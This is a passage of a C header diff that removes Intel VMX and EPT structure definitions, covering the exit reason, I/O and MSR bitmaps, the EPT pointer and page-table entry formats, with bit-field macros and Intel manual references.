VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_BIT 4 -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_FLAG 0x10 -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_MASK 0x01 -#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION(_) (((_) >> 4) & 0x01) - uint32_t reserved1 : 27; - }; - - uint32_t flags; -} vmx_interruptibility_state; - -typedef enum -{ - /** - * The logical processor is executing instructions normally. - */ - vmx_active = 0x00000000, - - /** - * The logical processor is inactive because it executed the HLT instruction. - */ - vmx_hlt = 0x00000001, - - /** - * The logical processor is inactive because it incurred a triple fault1 or some other serious error. - */ - vmx_shutdown = 0x00000002, - - /** - * The logical processor is inactive because it is waiting for a startup-IPI (SIPI). - */ - vmx_wait_for_sipi = 0x00000003, -} vmx_guest_activity_state; - -/** - * @} - */ - - /** - * @brief Format of Exit Reason - * - * Exit reason (32 bits). This field encodes the reason for the VM exit and has the structure. - * - * @see Vol3C[24.9.1(Basic VM-Exit Information)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 15:0] Provides basic information about the cause of the VM exit (if bit 31 is clear) or of the VM-entry failure - * (if bit 31 is set). - */ - uint32_t basic_exit_reason : 16; -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_BIT 0 -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_FLAG 0xFFFF -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_MASK 0xFFFF -#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bit 16] Always cleared to 0. - */ - uint32_t always0 : 1; -#define VMX_VMEXIT_REASON_ALWAYS0_BIT 16 -#define VMX_VMEXIT_REASON_ALWAYS0_FLAG 0x10000 -#define VMX_VMEXIT_REASON_ALWAYS0_MASK 0x01 -#define VMX_VMEXIT_REASON_ALWAYS0(_) (((_) >> 16) & 0x01) - uint32_t reserved1 : 10; -#define VMX_VMEXIT_REASON_RESERVED1_BIT 17 -#define VMX_VMEXIT_REASON_RESERVED1_FLAG 0x7FE0000 -#define VMX_VMEXIT_REASON_RESERVED1_MASK 0x3FF -#define VMX_VMEXIT_REASON_RESERVED1(_) (((_) >> 17) & 0x3FF) - - /** - * [Bit 27] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. - */ - uint32_t enclave_mode : 1; -#define VMX_VMEXIT_REASON_ENCLAVE_MODE_BIT 27 -#define VMX_VMEXIT_REASON_ENCLAVE_MODE_FLAG 0x8000000 -#define VMX_VMEXIT_REASON_ENCLAVE_MODE_MASK 0x01 -#define VMX_VMEXIT_REASON_ENCLAVE_MODE(_) (((_) >> 27) & 0x01) - - /** - * [Bit 28] Pending MTF VM exit. - */ - uint32_t pending_mtf_vm_exit : 1; -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_BIT 28 -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_FLAG 0x10000000 -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_MASK 0x01 -#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT(_) (((_) >> 28) & 0x01) - - /** - * [Bit 29] VM exit from VMX root operation. - */ - uint32_t vm_exit_from_vmx_roor : 1; -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_BIT 29 -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_FLAG 0x20000000 -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_MASK 0x01 -#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR(_) (((_) >> 29) & 0x01) - uint32_t reserved2 : 1; -#define VMX_VMEXIT_REASON_RESERVED2_BIT 30 -#define VMX_VMEXIT_REASON_RESERVED2_FLAG 0x40000000 -#define VMX_VMEXIT_REASON_RESERVED2_MASK 0x01 -#define VMX_VMEXIT_REASON_RESERVED2(_) (((_) >> 30) & 0x01) - - /** - * [Bit 31] VM-entry failure: - * - 0 = true VM exit - * - 1 = VM-entry failure - */ - uint32_t vm_entry_failure : 1; -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_BIT 31 -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_FLAG 0x80000000 -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_MASK 0x01 -#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; -} vmx_vmexit_reason; - -typedef struct -{ -#define IO_BITMAP_A_MIN 0x00000000 -#define IO_BITMAP_A_MAX 0x00007FFF -#define IO_BITMAP_B_MIN 0x00008000 -#define IO_BITMAP_B_MAX 0x0000FFFF - uint8_t io_a[4096]; - uint8_t io_b[4096]; -} vmx_io_bitmap; - -typedef struct -{ -#define MSR_ID_LOW_MIN 0x00000000 -#define MSR_ID_LOW_MAX 0x00001FFF -#define MSR_ID_HIGH_MIN 0xC0000000 -#define MSR_ID_HIGH_MAX 0xC0001FFF - uint8_t rdmsr_low[1024]; - uint8_t rdmsr_high[1024]; - uint8_t wrmsr_low[1024]; - uint8_t wrmsr_high[1024]; -} vmx_msr_bitmap; - -/** - * @defgroup ept \ - * The extended page-table mechanism - * - * The extended page-table mechanism (EPT) is a feature that can be used to support the virtualization of physical memory. - * When EPT is in use, certain addresses that would normally be treated as physical addresses (and used to access memory) - * are instead treated as guest-physical addresses. Guest-physical addresses are translated by traversing a set of EPT - * paging structures to produce physical addresses that are used to access memory. - * - * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] (reference) - * @{ - */ - /** - * @brief Extended-Page-Table Pointer (EPTP) - * - * The extended-page-table pointer (EPTP) contains the address of the base of EPT PML4 table, as well as other EPT - * configuration information. - * - * @see Vol3C[28.2.2(EPT Translation Mechanism] - * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 2:0] EPT paging-structure memory type: - * - 0 = Uncacheable (UC) - * - 6 = Write-back (WB) - * Other values are reserved. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPT_POINTER_MEMORY_TYPE_BIT 0 -#define EPT_POINTER_MEMORY_TYPE_FLAG 0x07 -#define EPT_POINTER_MEMORY_TYPE_MASK 0x07 -#define EPT_POINTER_MEMORY_TYPE(_) (((_) >> 0) & 0x07) - - /** - * [Bits 5:3] This value is 1 less than the EPT page-walk length. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t page_walk_length : 3; -#define EPT_POINTER_PAGE_WALK_LENGTH_BIT 3 -#define EPT_POINTER_PAGE_WALK_LENGTH_FLAG 0x38 -#define EPT_POINTER_PAGE_WALK_LENGTH_MASK 0x07 -#define EPT_POINTER_PAGE_WALK_LENGTH(_) (((_) >> 3) & 0x07) -#define EPT_PAGE_WALK_LENGTH_4 0x00000003 - - /** - * [Bit 6] Setting this control to 1 enables accessed and dirty flags for EPT. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t enable_access_and_dirty_flags : 1; -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_BIT 6 -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_FLAG 0x40 -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_MASK 0x01 -#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS(_) (((_) >> 6) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bits 47:12] Bits N-1:12 of the physical address of the 4-KByte aligned EPT PML4 table. - */ - uint64_t page_frame_number : 36; -#define EPT_POINTER_PAGE_FRAME_NUMBER_BIT 12 -#define EPT_POINTER_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPT_POINTER_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPT_POINTER_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ept_pointer; - -/** - * @brief Format of an EPT PML4 Entry (PML4E) that References an EPT Page-Directory-Pointer Table - * - * A 4-KByte naturally aligned EPT PML4 table is located at the physical address specified in bits 51:12 of the - * extended-page-table pointer (EPTP), a VM-execution control field. An EPT PML4 table comprises 512 64-bit entries (EPT - * PML4Es). An EPT PML4E is selected using the physical address defined as follows: - * - Bits 63:52 are all 0. - * - Bits 51:12 are from the EPTP. - * - Bits 11:3 are bits 47:39 of the guest-physical address. - * - Bits 2:0 are all 0. - * Because an EPT PML4E is identified using bits 47:39 of the guest-physical address, it controls access to a 512- GByte - * region of the guest-physical-address space. - * - * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 512-GByte region controlled by this entry. - */ - uint64_t read_access : 1; -#define EPT_PML4_READ_ACCESS_BIT 0 -#define EPT_PML4_READ_ACCESS_FLAG 0x01 -#define EPT_PML4_READ_ACCESS_MASK 0x01 -#define EPT_PML4_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 512-GByte region controlled by this entry. - */ - uint64_t write_access : 1; -#define EPT_PML4_WRITE_ACCESS_BIT 1 -#define EPT_PML4_WRITE_ACCESS_FLAG 0x02 -#define EPT_PML4_WRITE_ACCESS_MASK 0x01 -#define EPT_PML4_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 512-GByte region controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 512-GByte region controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPT_PML4_EXECUTE_ACCESS_BIT 2 -#define EPT_PML4_EXECUTE_ACCESS_FLAG 0x04 -#define EPT_PML4_EXECUTE_ACCESS_MASK 0x01 -#define EPT_PML4_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 512-GByte region - * controlled by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPT_PML4_ACCESSED_BIT 8 -#define EPT_PML4_ACCESSED_FLAG 0x100 -#define EPT_PML4_ACCESSED_MASK 0x01 -#define EPT_PML4_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 512-GByte region - * controlled by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPT_PML4_USER_MODE_EXECUTE_BIT 10 -#define EPT_PML4_USER_MODE_EXECUTE_FLAG 0x400 -#define EPT_PML4_USER_MODE_EXECUTE_MASK 0x01 -#define EPT_PML4_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPT_PML4_PAGE_FRAME_NUMBER_BIT 12 -#define EPT_PML4_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPT_PML4_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPT_PML4_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved4 : 16; - }; - - uint64_t flags; -} ept_pml4; - -/** - * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte page referenced by this entry. - */ - uint64_t read_access : 1; -#define EPDPTE_1GB_READ_ACCESS_BIT 0 -#define EPDPTE_1GB_READ_ACCESS_FLAG 0x01 -#define EPDPTE_1GB_READ_ACCESS_MASK 0x01 -#define EPDPTE_1GB_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte page referenced by this entry. - */ - uint64_t write_access : 1; -#define EPDPTE_1GB_WRITE_ACCESS_BIT 1 -#define EPDPTE_1GB_WRITE_ACCESS_FLAG 0x02 -#define EPDPTE_1GB_WRITE_ACCESS_MASK 0x01 -#define EPDPTE_1GB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 1-GByte page controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 1-GByte page controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDPTE_1GB_EXECUTE_ACCESS_BIT 2 -#define EPDPTE_1GB_EXECUTE_ACCESS_FLAG 0x04 -#define EPDPTE_1GB_EXECUTE_ACCESS_MASK 0x01 -#define EPDPTE_1GB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bits 5:3] EPT memory type for this 1-GByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPDPTE_1GB_MEMORY_TYPE_BIT 3 -#define EPDPTE_1GB_MEMORY_TYPE_FLAG 0x38 -#define EPDPTE_1GB_MEMORY_TYPE_MASK 0x07 -#define EPDPTE_1GB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - - /** - * [Bit 6] Ignore PAT memory type for this 1-GByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t ignore_pat : 1; -#define EPDPTE_1GB_IGNORE_PAT_BIT 6 -#define EPDPTE_1GB_IGNORE_PAT_FLAG 0x40 -#define EPDPTE_1GB_IGNORE_PAT_MASK 0x01 -#define EPDPTE_1GB_IGNORE_PAT(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Must be 1 (otherwise, this entry references an EPT page directory). - */ - uint64_t large_page : 1; -#define EPDPTE_1GB_LARGE_PAGE_BIT 7 -#define EPDPTE_1GB_LARGE_PAGE_FLAG 0x80 -#define EPDPTE_1GB_LARGE_PAGE_MASK 0x01 -#define EPDPTE_1GB_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte page - * referenced by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDPTE_1GB_ACCESSED_BIT 8 -#define EPDPTE_1GB_ACCESSED_FLAG 0x100 -#define EPDPTE_1GB_ACCESSED_MASK 0x01 -#define EPDPTE_1GB_ACCESSED(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 1-GByte page referenced - * by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t dirty : 1; -#define EPDPTE_1GB_DIRTY_BIT 9 -#define EPDPTE_1GB_DIRTY_FLAG 0x200 -#define EPDPTE_1GB_DIRTY_MASK 0x01 -#define EPDPTE_1GB_DIRTY(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte page controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDPTE_1GB_USER_MODE_EXECUTE_BIT 10 -#define EPDPTE_1GB_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDPTE_1GB_USER_MODE_EXECUTE_MASK 0x01 -#define EPDPTE_1GB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved1 : 19; - - /** - * [Bits 47:30] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 18; -#define EPDPTE_1GB_PAGE_FRAME_NUMBER_BIT 30 -#define EPDPTE_1GB_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 -#define EPDPTE_1GB_PAGE_FRAME_NUMBER_MASK 0x3FFFF -#define EPDPTE_1GB_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) - uint64_t reserved2 : 15; - - /** - * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this - * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is - * 0, this bit is ignored. - * - * @see Vol3C[25.5.6.1(Convertible EPT Violations)] - */ - uint64_t suppress_ve : 1; -#define EPDPTE_1GB_SUPPRESS_VE_BIT 63 -#define EPDPTE_1GB_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPDPTE_1GB_SUPPRESS_VE_MASK 0x01 -#define EPDPTE_1GB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} epdpte_1gb; - -/** - * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that References an EPT Page Directory - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte region controlled by this entry. - */ - uint64_t read_access : 1; -#define EPDPTE_READ_ACCESS_BIT 0 -#define EPDPTE_READ_ACCESS_FLAG 0x01 -#define EPDPTE_READ_ACCESS_MASK 0x01 -#define EPDPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte region controlled by this entry. - */ - uint64_t write_access : 1; -#define EPDPTE_WRITE_ACCESS_BIT 1 -#define EPDPTE_WRITE_ACCESS_FLAG 0x02 -#define EPDPTE_WRITE_ACCESS_MASK 0x01 -#define EPDPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 1-GByte region controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 1-GByte region controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDPTE_EXECUTE_ACCESS_BIT 2 -#define EPDPTE_EXECUTE_ACCESS_FLAG 0x04 -#define EPDPTE_EXECUTE_ACCESS_MASK 0x01 -#define EPDPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte region - * controlled by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDPTE_ACCESSED_BIT 8 -#define EPDPTE_ACCESSED_FLAG 0x100 -#define EPDPTE_ACCESSED_MASK 0x01 -#define EPDPTE_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte region controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDPTE_USER_MODE_EXECUTE_BIT 10 -#define EPDPTE_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDPTE_USER_MODE_EXECUTE_MASK 0x01 -#define EPDPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPDPTE_PAGE_FRAME_NUMBER_BIT 12 -#define EPDPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPDPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPDPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved4 : 16; - }; - - uint64_t flags; -} epdpte; - -/** - * @brief Format of an EPT Page-Directory Entry (PDE) that Maps a 2-MByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte page referenced by this entry. - */ - uint64_t read_access : 1; -#define EPDE_2MB_READ_ACCESS_BIT 0 -#define EPDE_2MB_READ_ACCESS_FLAG 0x01 -#define EPDE_2MB_READ_ACCESS_MASK 0x01 -#define EPDE_2MB_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte page referenced by this entry. - */ - uint64_t write_access : 1; -#define EPDE_2MB_WRITE_ACCESS_BIT 1 -#define EPDE_2MB_WRITE_ACCESS_FLAG 0x02 -#define EPDE_2MB_WRITE_ACCESS_MASK 0x01 -#define EPDE_2MB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 2-MByte page controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 2-MByte page controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDE_2MB_EXECUTE_ACCESS_BIT 2 -#define EPDE_2MB_EXECUTE_ACCESS_FLAG 0x04 -#define EPDE_2MB_EXECUTE_ACCESS_MASK 0x01 -#define EPDE_2MB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bits 5:3] EPT memory type for this 2-MByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPDE_2MB_MEMORY_TYPE_BIT 3 -#define EPDE_2MB_MEMORY_TYPE_FLAG 0x38 -#define EPDE_2MB_MEMORY_TYPE_MASK 0x07 -#define EPDE_2MB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - - /** - * [Bit 6] Ignore PAT memory type for this 2-MByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t ignore_pat : 1; -#define EPDE_2MB_IGNORE_PAT_BIT 6 -#define EPDE_2MB_IGNORE_PAT_FLAG 0x40 -#define EPDE_2MB_IGNORE_PAT_MASK 0x01 -#define EPDE_2MB_IGNORE_PAT(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Must be 1 (otherwise, this entry references an EPT page table). - */ - uint64_t large_page : 1; -#define EPDE_2MB_LARGE_PAGE_BIT 7 -#define EPDE_2MB_LARGE_PAGE_FLAG 0x80 -#define EPDE_2MB_LARGE_PAGE_MASK 0x01 -#define EPDE_2MB_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte page - * referenced by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDE_2MB_ACCESSED_BIT 8 -#define EPDE_2MB_ACCESSED_FLAG 0x100 -#define EPDE_2MB_ACCESSED_MASK 0x01 -#define EPDE_2MB_ACCESSED(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 2-MByte page referenced - * by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t dirty : 1; -#define EPDE_2MB_DIRTY_BIT 9 -#define EPDE_2MB_DIRTY_FLAG 0x200 -#define EPDE_2MB_DIRTY_MASK 0x01 -#define EPDE_2MB_DIRTY(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte page controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDE_2MB_USER_MODE_EXECUTE_BIT 10 -#define EPDE_2MB_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDE_2MB_USER_MODE_EXECUTE_MASK 0x01 -#define EPDE_2MB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved1 : 10; - - /** - * [Bits 47:21] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 27; -#define EPDE_2MB_PAGE_FRAME_NUMBER_BIT 21 -#define EPDE_2MB_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 -#define EPDE_2MB_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF -#define EPDE_2MB_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) - uint64_t reserved2 : 15; - - /** - * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this - * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is - * 0, this bit is ignored. - * - * @see Vol3C[25.5.6.1(Convertible EPT Violations)] - */ - uint64_t suppress_ve : 1; -#define EPDE_2MB_SUPPRESS_VE_BIT 63 -#define EPDE_2MB_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPDE_2MB_SUPPRESS_VE_MASK 0x01 -#define EPDE_2MB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} epde_2mb; - -/** - * @brief Format of an EPT Page-Directory Entry (PDE) that References an EPT Page Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte region controlled by this entry. - */ - uint64_t read_access : 1; -#define EPDE_READ_ACCESS_BIT 0 -#define EPDE_READ_ACCESS_FLAG 0x01 -#define EPDE_READ_ACCESS_MASK 0x01 -#define EPDE_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte region controlled by this entry. - */ - uint64_t write_access : 1; -#define EPDE_WRITE_ACCESS_BIT 1 -#define EPDE_WRITE_ACCESS_FLAG 0x02 -#define EPDE_WRITE_ACCESS_MASK 0x01 -#define EPDE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 2-MByte region controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 2-MByte region controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDE_EXECUTE_ACCESS_BIT 2 -#define EPDE_EXECUTE_ACCESS_FLAG 0x04 -#define EPDE_EXECUTE_ACCESS_MASK 0x01 -#define EPDE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte region - * controlled by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDE_ACCESSED_BIT 8 -#define EPDE_ACCESSED_FLAG 0x100 -#define EPDE_ACCESSED_MASK 0x01 -#define EPDE_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte region controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDE_USER_MODE_EXECUTE_BIT 10 -#define EPDE_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDE_USER_MODE_EXECUTE_MASK 0x01 -#define EPDE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bits 47:12] Physical address of 4-KByte aligned EPT page table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPDE_PAGE_FRAME_NUMBER_BIT 12 -#define EPDE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPDE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPDE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved4 : 16; - }; - - uint64_t flags; -} epde; - -/** - * @brief Format of an EPT Page-Table Entry that Maps a 4-KByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 4-KByte page referenced by this entry. - */ - uint64_t read_access : 1; -#define EPTE_READ_ACCESS_BIT 0 -#define EPTE_READ_ACCESS_FLAG 0x01 -#define EPTE_READ_ACCESS_MASK 0x01 -#define EPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 4-KByte page referenced by this entry. - */ - uint64_t write_access : 1; -#define EPTE_WRITE_ACCESS_BIT 1 -#define EPTE_WRITE_ACCESS_FLAG 0x02 -#define EPTE_WRITE_ACCESS_MASK 0x01 -#define EPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** 